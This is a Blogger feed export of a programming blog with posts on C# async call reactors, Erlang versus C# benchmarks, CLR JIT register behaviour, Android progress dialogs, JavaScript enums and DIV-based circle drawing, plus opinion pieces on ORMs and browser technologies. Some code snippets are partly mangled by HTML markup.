tag:blogger.com,1999:blog-37639705010367429292024-03-18T15:07:09.731-05:00ITAdapter Technology ChambersLets talk about ITitAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.comBlogger23125tag:blogger.com,1999:blog-3763970501036742929.post-33257493633275102642013-06-26T18:34:00.000-05:002013-06-26T18:38:17.788-05:00C#, Async Glue programming with CallReactor classOur developers ask me: What is the "reactor"?
Plainly: a reactor is a mechanism to breath-in execution flow into some object graph for asynchronous execution, usually a callback/event dispatcher.
In other words - it is at least one thread of execution that REACTS to certain condition/change in data (such as property change or collection change).
A classical use of reactors are event loops, i.e. the one used by the UI thread that monitors event queue and fires events (callbacks) appropriately.
Reactors are ideal for multi-threaded programming when otherwise disjoint parties need to play in concert.
The NFX.Glue.CallReactor class facilitates asynchronous call dispatching and provides callback mechanism upon result receipt from the server.
Every instance has a dedicated thread that monitors all Call instances in the reactor. Here is how it works:
<ul>
<li>Call Async_* version of Glue client proxy call. It returns CallSlot instance</li>
<li>A call to Async_* method is wrapped in the new Call{} construct that remembers it in the reactor scope</li>
<li>Pass a lambda function that gets called back by the reactor</li>
<li>Optionally, the reactor .ctor takes a callback that is fired when all Calls registered with the reactor are done</li>
</ul>
The code below is taken from the WinForms-based manual test case,hence "Invoke(delegate)" to sync the callback with the UI thread.
<pre>
var client1 = new MarazmContractClient(cbo.Text);
var client2 = new MarazmContractClient(cbo.Text);
new CallReactor(false,
finishedReactor =>
{
client1.Dispose();
client2.Dispose();
Invoke( (Action)( () =>
MessageBox.Show(finishedReactor.Context.ToString())
) );
},
string.Empty,
new Call( client1.Async_Echo("One"),
(reactor, call) => reactor.Context =
((string)reactor.Context) +
call.CallSlot.GetValue<string>()),
new Call( client2.Async_Echo("Two"),
(reactor, call) => reactor.Context =
((string)reactor.Context) +
call.CallSlot.GetValue<string>()),
new Call( client1.Async_Echo("Three"),
(reactor, call) => reactor.Context =
((string)reactor.Context) +
call.CallSlot.GetValue<string>())
);
</pre>
itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com45tag:blogger.com,1999:blog-3763970501036742929.post-4257485421032156642013-05-15T12:00:00.001-05:002013-05-15T12:02:09.769-05:00Parallel integer summation challenge Erlang vs CLR/C#Today we have done an interesting benchmark in C# and Erlang. Basically the point was to compare the brevity and performance of two inherently different langs/approaches:<br />
<br />
Erlang r16b:<br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">$ cat t.erl<br /><br />-module(t).<br />-export([t/0, t/1, ct/1, ct/2]).<br /><br />-define(DEF_CNT, 10000000).<br /><br />t() -><br /> t(?DEF_CNT).<br />t(N) when is_integer(N) -><br /> time_it(fun() -> test(N) end, N).<br /><br />ct(Threads) -><br /> ct(?DEF_CNT, Threads).<br />ct(N, Threads) when is_integer(N), is_integer(Threads) -><br /> time_it(fun() -> ctest(N, Threads) end, N * Threads).<br /><br />time_it(Fun, Divisor) -><br /> {T, Result} = timer:tc(Fun),<br /> {T / (Divisor/1000000) / 1000, Result}.<br /><br />ctest(N, M) -><br /> Pids = spawner(self(), N, M),<br /> lists:foldl(fun(Pid, S) -><br /> receive {Pid, Sum} -> S+Sum end<br /> end, 0, Pids).<br /><br />spawner(_, _, 0) -><br /> [];<br />spawner(Owner, N, M) -><br /> [spawn(fun() -> loop(Owner, N) end) | spawner(Owner, N, M-1)].<br /><br />loop(Pid, N) -><br /> Sum = test(N),<br /> Pid ! {self(), Sum}.<br /><br />test(N) -> test(N, 0).<br /><br />test(0, M) -> M;<br />test(N, M) -> test(N-1, M+1).</span></span><br />
<br />
C#, NET 4:<br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">private void button4_Click(object sender, EventArgs e)<br />{<br /> const int CNT = 100000000;<br /> const int SPLIT = 1000000;<br /><br /> var tasks = new Task<long>[CNT / SPLIT];<br /> <br /> <br /><br /> var w = Stopwatch.StartNew();<br /> <br /> for(int i=0,start=0; i<tasks .length="" br="" i="" start=""> { <br /> tasks[i] = new Task<long>( () =><br /> {<br /> long lsum = 0;<br /> long end = start + SPLIT;<br /> for(int c=start; c<end 1="" br="" c="" lsum=""> return lsum; <br /> }<br /> );<br /> tasks[i].Start();<br /> }<br /><br /> long sum = tasks.Sum( t => t.Result);<br /> <br /> w.Stop();<br /><br /> var rate = CNT / (w.Elapsed.TotalSeconds);<br /><br /> Text = string.Format("Total: {0} in {1} ms at {2}/sec {3} msec/million ",</end></long></tasks></long></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><long><tasks .length="" br="" i="" start=""><long><end 1="" br="" c="" lsum=""> CNT,</end></long></tasks></long></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><long><tasks .length="" br="" i="" start=""><long><end 1="" br="" c="" lsum=""> w.Elapsed.TotalMilliseconds, </end></long></tasks></long></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><long><tasks .length="" br="" i="" start=""><long><end 1="" br="" c="" lsum="">rate,</end></long></tasks></long></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><long><tasks .length="" br="" i="" start=""><long><end 1="" br="" c="" lsum="">w.Elapsed.TotalMilliseconds / (CNT / 1000000)</end></long></tasks></long></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><long><tasks .length="" br="" i="" start=""><long><end 1="" br="" c="" lsum="">);<br /><br /> var s = sum;<br /> Text+= s.ToString();<br />}</end></long></tasks></long></span></span><br />
<br />
<br />
Test results are really interesting:<br />
.NET 0.22 msec per million<br />
Erlang does this is 1.5 msec per million<br />
<br />
<span style="background-color: yellow;">CLR is 6.8 faster for this test.</span><br />
<br />
Some other facts. Linear loop single threaded that sums integers (not optimized out of code, I confirmed in disassembler)<br />
<br />
PHP code:<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> $CNT = 10<b>000</b>000;<br /> $sum = 0;<br /> $w = microtime(true);<br /> for($i=0; $i<$CNT; $i++) $sum += 1;<br /> $w = round((microtime(true)-$w)*1000,0);<br /> echo($w);</span></span><br />
<br />
PHP standard runtime: 1040 ms <br />
C#: 2ms<br />
<br />
<span style="background-color: yellow;">CLR is 500 times faster that PHP for this simple test </span><br />
<br />
<br />
<br />
<br />itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com25tag:blogger.com,1999:blog-3763970501036742929.post-83025738549220423912013-05-14T21:08:00.001-05:002013-05-14T21:12:36.955-05:00C# CLR JIT Optimization - Register allocation for primitivesToday I have come across a strange effect in C#<br />
<br />
This code took 30 ms to run, and C++ version took 5-8msec. How come?<br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">void Runtest()</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">{</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> const int CNT = 10<b>000</b>000;//ten million</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> <span style="background-color: #fff2cc;">long sum = 0;</span></span></span><br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> var w = Stopwatch.StartNew();</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> for(int i=0; i < CNT, i++)<span style="font-size: x-small;"><cnt font="" i=""></cnt></span></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> {</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> <span style="background-color: #ffe599;">sum += 1;</span></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> }</span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> w.Stop();</span></span><br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> var rate = CNT / (w.Elapsed.TotalSeconds);</span></span><br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> Text = string.Format("Total: {0} in {1} ms at {2}/sec ", CNT,<span style="font-size: x-small;"> </span></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><span style="font-size: x-small;"><span style="font-size: x-small;"> </span> </span>w.Elapsed.TotalMilliseconds, rate);</span></span><br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"> Text+= <span style="background-color: #ffe599;">sum.ToString();</span></span></span><br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">}</span></span><br />
<br />
<br />
The loop body does not do anything, and hopefully CLR JITs it into registers right?<br />
<br />
If yes, why is it so many times slower than C++?<br />
<br />
The answer lies with the last line: "s.ToString();". It treats "sum" as a struct, because structs are not really primitive types, although "long" fits in the register 1:1,<br />
the "objecty" nature of the "sum.ToString()" makes JIT generate memory-accessing code.I have confirmed this in WinDBG. The loop control var "i" is stored in the register but "sum" is not.<br />
<br />
Solution:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">var s = sum;<br /> Text += s.ToString();</span><br />
<br />
Result: <b>2 msec per 10,000,000 iterations instead of 30 ms. 15 times faster.</b><br />
<br />
<br />
Here I have put an upper loop bound to Int.MaxValue for the code to run a bit longer so I can manage to ctrl+break in debugger.<br />
<br />
Disassembly (loop body is highlighted):<br />
<br />
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">000007ff`0014055d 33c0 xor eax,eax //i=0<br />000007ff`0014055f 33ed xor ebp,ebp //sum=0<br />LOOP LABEL:<br />000007ff`00140561 48ffc5 <span style="background-color: #fff2cc;">inc rbp</span> //sum++ <br />000007ff`00140564 ffc0 <span style="background-color: #fff2cc;">inc eax</span> //i++ <br />000007ff`00140566 3dffffff7f <span style="background-color: #fff2cc;">cmp eax,7FFFFFFFh</span> //check <span style="font-size: x-small;">int.Max</span> <br />000007ff`0014056b 7cf4 <span style="background-color: #fff2cc;">jl 000007ff`00140561</span> //jmp<span style="font-size: x-small;"> </span>if less LOOP LABEL</span></span><br />
CAN not beat that!<br />
<br />
The bottom line is this: JIT does optimize primitives in CPU registers just like C++ does, however because of unified type system it is easy to treat a primitive as struct or object - and that introduces penalty.<br />
The truth of the matter is that until the loop exit they (Microsoft) could have kept it in register and then moved to RAM, but there are many edge cases like this and who knows what other issues JIT developers had to solve.itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com129tag:blogger.com,1999:blog-3763970501036742929.post-12420019854687618472012-03-21T19:25:00.004-05:002012-03-21T19:28:22.255-05:00Babbler Blog is up<a href="http://babbler-recorder.com"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 96px; height: 96px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUccp55ObCoM2jLsQoieedeMg1xh0XYEWHvtYHS-KFPQ1JxV1IyBu0bINPk7jojTgCg4i-azYItyglr4XMHVrB43nHegTbwv7lcX-lsUWGIak87q-AEEAuv6tfxtfu26l8yYzXG_RQyQ/s320/icon250x250.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5722511358771556802" /></a><br /><a href="http://www.babbler-recorder.com/">http://www.babbler-recorder.com/</a>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com46tag:blogger.com,1999:blog-3763970501036742929.post-85679020579202837272012-01-21T22:02:00.003-05:002012-01-21T22:09:03.554-05:00How to display a progress message aka "hourglass" in Android around long running tasks, really moving that long running tasks to a different thread but obstructing your activity with a curtain from progress so messages are processed and everything shows. Here is a snippet:<br /><br /><pre><br /> ProgressDialog dialog = ProgressDialog.show(this, "Title",<br /> "Your message", true);<br /> final Handler handler = new Handler() {<br /> public void handleMessage(Message msg) {<br /> dialog.dismiss();<br /> <br /> }<br /> };<br /> <br /> Thread export = new Thread() { <br /> public void run() {<br /> <br /> // LONG TASK CALL<br /> // callLongTask();<br /> <br /> handler.sendEmptyMessage(0);<br /> }<br /> };<br /> export.start();<br /><br /></pre>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com34tag:blogger.com,1999:blog-3763970501036742929.post-29973445229167213392011-12-07T22:51:00.001-05:002011-12-07T22:51:46.839-05:00$25 Computer<a href="http://www.raspberrypi.org/" target="_blank" style="color: rgb(17, 85, 204); font-family: arial, sans-serif; font-size: 13px; background-color: rgba(255, 255, 255, 0.917969); ">http://www.raspberrypi.org/</a> <div><br></div><div><br></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com30tag:blogger.com,1999:blog-3763970501036742929.post-26992334681288511082011-09-24T20:23:00.006-05:002011-09-24T20:36:17.479-05:00Enumerated Types in Java ScriptWho said that JavaScript lacks enumerated types? Really it does, however due to very flexible nature of the language enums are easily done like so (example taken from <span style="font-weight: bold; color: rgb(204, 0, 0);">ITAdapter Geometry Library</span>):<br /><pre id="line1">function GeometryNamespace() <span style="color: rgb(0, 204, 204);">//in the Geometry namespace</span><br />{<br />var geometry = this; <span style="color: rgb(0, 204, 204);"><br />... </span><span style="color: rgb(0, 204, 204);"> ... ... </span><br />this.MapDirection = {<br /> North: {Name: "North"},<br /> NorthEast: {Name: "NorthEast"},<br /> East: {Name: "East"},<br /> SouthEast: {Name: "SouthEast"},<br /> South: {Name: "South"},<br /> SouthWest: {Name: "SouthWest"},<br /> West: {Name: "West"},<br /> NorthWest: {Name: "NorthWest"} <br /> };<br /><span style="color: rgb(51, 51, 255);">.............</span><br /><span style="color: rgb(51, 51, 255);">And then later:</span><br />/** * Converts map direction to angular coordinate in radians */ <br /><br />this.mapDirectionToAngle = function(direction)<br />{ <br /> switch (direction)<br /> { <br /> case geometry.MapDirection.North: return 4/16 * PI2;<br /> case geometry.MapDirection.South: return 12/16 * PI2;<br /> case geometry.MapDirection.East: return 0.0;<br /> case geometry.MapDirection.West: return 8/16 * PI2;<br /> case geometry.MapDirection.NorthEast: return 2/16 * PI2;<br /> case geometry.MapDirection.NorthWest: return 6/16 * PI2;<br /> case geometry.MapDirection.SouthEast: return 14/16 * PI2;<br /> case geometry.MapDirection.SouthWest: return 10/16 * PI2;<br /> default: return 0.0; <br /> }<br />}<br /><br />Coming back to js enums topic, one can easily display enum as:<br />var dir = <span style="font-weight: bold;">MapDirection.South</span>;<br />var name = dir.Name; <span style="color: rgb(0, 204, 204);">//"South"<br /><br /></span></pre>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com140tag:blogger.com,1999:blog-3763970501036742929.post-80328992364362033862011-04-13T17:19:00.001-05:002011-04-13T17:19:14.936-05:00IE10? WTF?Only like 1 month has passed and MS is publishing new IE10 beta assembly? <div><br></div><div>Check this out:</div><div> <a href="http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx">http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx</a></div> <div><br></div><div>So, once again they talk <font class="Apple-style-span" size="4">HTML5</font>...hm where is Silverlight guys? Well, that's right looks like Silverlight is finally going to fall from the stage.</div> <div>Why would anyone even invest in SL at this point? Mobile? Gimme a break, HTML5 rulez there too - check out PhoneGap <a href="http://www.phonegap.com">www.phonegap.com</a></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com18tag:blogger.com,1999:blog-3763970501036742929.post-65524350798197734082011-01-08T15:29:00.000-05:002011-01-08T15:30:12.977-05:00How To Draw a Circle in HTML <5 (without Canvas/SVG)The following tiny script allows to draw circles in "regular" pre-HTML 5 document, it is so fast that it really allows for animations in real time. <div><br></div><div>Example:</div><div><br></div><div> <b> drawCircle(500, 500, 150, "red", 50, 1);</b></div><div><b><br></b></div><div>This will draw a red circle, 50% transparent, with 150 px radius at the point (500,500). The circle will be drawn using 1px-fine pen (granularity).</div> <div>The wider is the "pen" the faster is the routine. I usually increase granularity to 4px while dragging/sizing for speed and then re-render with 1px granularity upon drag grip release.</div><div><br></div><div> <br></div><div>Here is the self-sufficient(does not rely on any libs) procedural source code:</div><div><br></div><div><div><br></div><div><font class="Apple-style-span" face="'courier new', monospace">//classic one</font></div> <div><font class="Apple-style-span" face="'courier new', monospace">function isIE()</font></div><div><font class="Apple-style-span" face="'courier new', monospace">{</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> return (navigator.appName.indexOf("Microsoft")!=-1);</font></div> <div><font class="Apple-style-span" face="'courier new', monospace">}</font></div></div><div><font class="Apple-style-span" face="'courier new', monospace"><br></font></div><div><div><font class="Apple-style-span" face="'courier new', monospace">function drawCircle(cx, cy, r, clr, op, gran)</font></div> <div><font class="Apple-style-span" face="'courier new', monospace">{</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> var x = 0;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> var div; </font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> var dc = document.createElement("DIV");//aka "Device Context" wich is a DIV in doc tree</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> dc.style.position="absolute";</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> dc.innerHTML = "&nbsp;";</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> dc.style.left = cx - r; </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> dc.style.top = cy - r; </font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> cx = r; cy = r;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> </font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> if (gran<1) gran = 1;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> if ((r/gran)> 280) gran = Math.round(r / 280);</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> for(var y=0; y<=r; y+=gran)</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> {</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> x = Math.sqrt((r*r) - (y*y));</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div = document.createElement("DIV");</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.position="absolute";</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.background = clr;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.left = cx - x;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.top = cy+y;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.width= x*2;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.height=gran;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.fontSize=1;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.innerHTML = "&nbsp;";</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> setObjectOpacity(div, op);</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> dc.appendChild(div);</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div = document.createElement("DIV");</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.position="absolute";</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.background = clr;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.left = cx - x;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.top = cy-y-gran;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.width= x*2;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.style.height=gran;</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> div.style.fontSize=1;</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> div.innerHTML = "&nbsp;";</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> setObjectOpacity(div, op);</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> dc.appendChild(div);</font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"> }</font></div><div><font class="Apple-style-span" face="'courier new', monospace"> </font></div> <div><font class="Apple-style-span" face="'courier new', monospace"> return dc;</font></div><div><font class="Apple-style-span" face="'courier new', monospace">}//drawCircle</font></div></div><div><font class="Apple-style-span" face="'courier new', monospace"><br> </font></div><div><font class="Apple-style-span" face="'courier new', monospace"><div>//semi-transparent through CSS/filter</div><div>function setObjectOpacity(obj, opacity) </div><div>{</div><div> //IE</div><div> if (isIE())</div><div> obj.style.filter = "alpha(opacity:"+opacity+")";</div><div> else</div><div> {</div><div> opacity = (opacity == 100)?99.999:opacity;//99.9 for Firefox flicker bug</div><div> </div><div> // Konqueror, Safari</div><div> obj.style.KHTMLOpacity = opacity / 100;</div><div> // Old Mozilla and Firefox</div><div> obj.style.MozOpacity = opacity / 100;</div><div> // CSS3, Safari , new Firefox (Gecko)</div> <div> obj.style.opacity = opacity / 100;</div><div> }//else</div><div>}//setObjectOpacity</div><div><br></div><div><br></div><div>As you can see, this approach uses DIVs as a vehicle for graphics delivery. Also, one may ask why I did not use squares to reduce</div> <div> the number of DIVs - the answer is - flicker - squares would have overlapped and would have worked slower than interlaced DIVs.</div><div><br></div><div>Use as you please!</div><div><br></div><div><br></div></font></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com17tag:blogger.com,1999:blog-3763970501036742929.post-15292154622596328062010-06-24T19:47:00.001-05:002010-06-24T19:47:22.774-05:00Verbatim Identifiers in C#Not that many people realize that in C#, one can use language keyword names like "void" and "bool" for their identifiers.<div>The trick is, you need to prefix the name i.e.:</div><div><br></div><div> void @void() {}</div> <div><br></div><div>declares method named "void".</div><div><br></div><div>Of course you would rarely use this feature, if ever but many people start arguing "Why Microsoft did this to begin with?"</div> <div><br></div><div>I am personally 100% on-board with MS on this one, - not only this is a good practice to be consistent in language design (less limitations) by allowing programmer to use any name</div><div> but this is a must-have feature i.e. you may code an assembly in Delphi Prism( as an example) and call a method "void" -</div> <div> then you'd need to consume it in C#. "void" is not a keyword in that language.</div><div><br></div><div>I personally think that purposely naming you stuff with "dangerous" names is a bad thing, but having verbatim name capability makes us feel more liberated :)</div> <div><br></div><div><br></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com17tag:blogger.com,1999:blog-3763970501036742929.post-77149464892769474262010-04-29T19:33:00.003-05:002010-04-29T19:40:22.349-05:00Aum Syntax Samples: constrained domains<div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><span style="font-family: arial;">Working on contrained types(domains) idea, proposed syntax:</span><b><br />--------------------------------------------<br /><br /><br />use</b> RTL;</span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><b>scope</b> Test <b>begin</b></span> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> <span class="Apple-style-span" style="color: rgb(102, 102, 102);"><i>//Domain with constrain</i></span></span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> <b>public domain</b> HumanAge(<b>int</b>)<br /> {<br /> <b>value</b> >= 0 <b>and</b> <b>value</b> <= 150; } </span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><b> public static class</b> Program1 <b>begin</b></span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> </span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> <b>public method</b> Main</span></div><div> <span class="Apple-style-span" style="font-family:'courier new',monospace;"> {</span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> Console.WriteLine(<i><span class="Apple-style-span" style="color: rgb(51, 153, 153);">"Hello Delphi days!"</span></i>);</span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> Console.ReadLine(); </span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> Console.WriteLine(<i><span class="Apple-style-span" style="color: rgb(51, 102, 102);">"About to crash"</span></i>);</span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> var age: HumanAge;</span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> <span style="font-weight: bold;">age</span> = 500; <i><span class="Apple-style-span" style="color: rgb(102, 102, 102);">// CRASH!!!!!! Domain is constrained and did not pass validation</span></i> </span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> }</span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"> <b>end</b>;</span></div> <div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new',monospace;"><b>end</b>;</span></div>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com14tag:blogger.com,1999:blog-3763970501036742929.post-84973446615647725672010-03-29T21:23:00.001-05:002010-03-29T21:23:27.932-05:00ORM Condemnation (....Continued)<div>Did I tell you that I am not a fan of OR Mapping solutions at all?</div><div>Why?</div><div>Because of concept and code bloat and very little benefit (if any). I am teaching developers this way:</div><div><br></div><div> Majority of <b><u>business applications</u></b> are comprised of <b><u>3 major parts</u></b>:</div><div><br></div><div>a. <b>Master Data</b> - such as dictionaries and support tables</div><div>b. <b>Normal Processing/OLTP</b> - used every day, this is what app is used for, usually real-world data is keyed on [a] and stored depending on some sort of a date/time key</div> <div>c. <b>Reports</b> - query transactional-accumulated(or live) data (entered in [b]) , join it with master data for descriptions and output to user</div><div><br></div><div>The fact of life is that "Master Data" tables (hundreds of them in big systems) are very dummy in the most cases, and any credible architect</div> <div> would build interfaces/CRUD logic in a template-based way. For those templates(base classes probably) SQLs are usually very simple, the row count is mostly <1000 per table (not always),</div><div> and really there is NO BUSINESS logic needed to be applied but map SQL columns to on-screen controls (be it Forms, Web or anything else). Making developer</div> <div> maintain a bloat of 100s of classes just to map A to A does not make much sense. What does make sense - build your general ancestor class smart enough</div><div> to supply tons of metadata from your back-end automatically (such as max-length, required(not null), format etc...). I don't really need to map DB to object for that.</div> <div><br></div><div>Now about [b] item - OLTP screens or entry processes(be it GUI or ETL or...who knows). Those definitely need to go through good interface in terms of classes, but again, if you have ever built </div><div> "big" software that contains 100s of data-entry screens - the pattern becomes trending - you are NOT dealing with simple SQLs - now when user hits "Save"</div><div> you probably touch 3-10 tables etc. I personally never user ORM for that but write classes by hand with plenty of XML comments and human methods</div> <div> that are centered around business , not around schema. Database schema is designed for normal-forms compliance (most of the times), not class/interface</div><div>usability by developers. So, in a financial system, I would have "Portfolio" class and "Save" method, and maybe even "IStorage" provider that implements</div> <div> direct SQL backing store so portfolios could save ,or maybe middle-tier store. So SQL is not the sole solution now.</div><div> The hand-written code makes sense though, and there is no bloat. Using LINQ to SQL would not have helped really as "Save" method for portfolios</div> <div> touches 10s of tables due to business rules. And I don't really want to have database code in C#, maybe database orchestration code I do, I'd rather use stored proc, or maybe some other middle tier process as an abstraction layer. So now I need to use ORM there, again, I need to write good well-though queries that don't put unneeded locks etc..</div> <div>So what benefit does LINQ to SQL/Hibernate/EF or any other tool would give in my case? <b><u>None. </u></b></div><div><br></div><div><br></div><div>Check out this link regarding Microsoft ORM technologies trending:</div> <div><br></div><a href="http://www.infoq.com/news/2008/11/DLINQ-Future">http://www.infoq.com/news/2008/11/DLINQ-Future</a> <div><br></div><div><br></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com16tag:blogger.com,1999:blog-3763970501036742929.post-38318795688432397392010-03-17T12:37:00.001-05:002010-03-17T12:37:26.982-05:00IE9 - end of Flash(Silverlight)?<div><br></div><div>Interesting page dedicated to IE9 - Microsoft has decided to support SVG, HTML5 including hardware-backed rendering and better CSS-3 standards.</div><div>What is missing as of today is Canvas object model though rumor has it - Microsoft will support it,</div> <div>consequently question arises - <b>if all modern browsers support</b>:</div><div><br></div><div>1. Consistent DOM event model</div><div>2. Fast JavaScript (they have made it already 7+ times faster in IE9 vs IE8)</div> <div>3. Direct drawing capability (Canvas) with styling and prof anti-aliasing</div><div>4. Vector graphic support built-in: SVG/Canvas</div><div>5. HTML -level audio and video tags (no player plugins)</div><div><br></div> <div>,<b> then does Flash (and especially </b><b>Silverlight</b><b>) have any future in 5 years from now?</b></div><div><b><br></b></div><div>This makes perfect sense - browser becomes "Flash", and for those who claim that JavaScript is "not a language" suitable for development</div> <div>I recommend to re-evaluate their perceptions - Java Script is VERY powerful if you know how to organize code in </div><div> namespaces and use encapsulation and other OO patterns that ARE available in JS.</div><div><br> </div><div>See this:</div><div><br></div><a href="http://ie.microsoft.com/testdrive/">http://ie.microsoft.com/testdrive/</a><br clear="all"><br><br> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com10tag:blogger.com,1999:blog-3763970501036742929.post-64996315658250898052010-01-28T17:18:00.000-05:002010-01-28T17:19:02.733-05:00Do you know CSS?<div>Before you answer,,,just check the link below first....</div><div><br></div><a href="http://www.romancortes.com/blog/tag/css/">http://www.romancortes.com/blog/tag/css/</a><div><br></div><div>So do you know CSS?</div><div> <br></div><div>Well it's all a hack....I know.</div><div>But still cool!</div><div><br><br> </div> 